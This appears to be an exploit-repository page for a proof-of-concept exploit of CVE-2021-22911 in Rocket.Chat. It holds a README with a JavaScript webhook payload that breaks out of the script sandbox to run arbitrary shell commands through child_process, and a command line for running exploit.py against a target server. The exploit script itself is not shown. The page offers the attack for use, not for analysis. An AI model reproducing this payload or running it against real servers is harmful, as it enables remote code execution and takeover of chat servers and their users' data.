CVE-2021-22911 PoC — Rocket.Chat 安全漏洞

Source

Associated Vulnerability

Description

some small changes to the code by CsEnox

Readme

# CVE-2021-22911-EXP

## Info

Some small changes to the [code](https://github.com/CsEnox/CVE-2021-22911) by CsEnox：

1. Replace the `oathtool` library with the `pyotp` library.
2. Modify the format of the JavaScript script used to construct the webhook.

```javascript
class Script {
  process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('your command');
  }
}
```

## Notice

1. You can check if the webhook has been executed successfully using the `wegt` command, provided that you have installed this command in the Docker container.
2. The default administrator username in the code is `admin`.

## Usage

```cmd
python exploit.py -u "user@rocket.local" -a "admin@rocket.local" -t "http://rocket.local"
```

File Snapshot

 [4.0K]  /data/pocs/e2c8cda4098ba47550f20cf9629ad01643241f74
├── [6.4K]  exploit.py
└── [ 831]  README.md

0 directories, 2 files

Remarks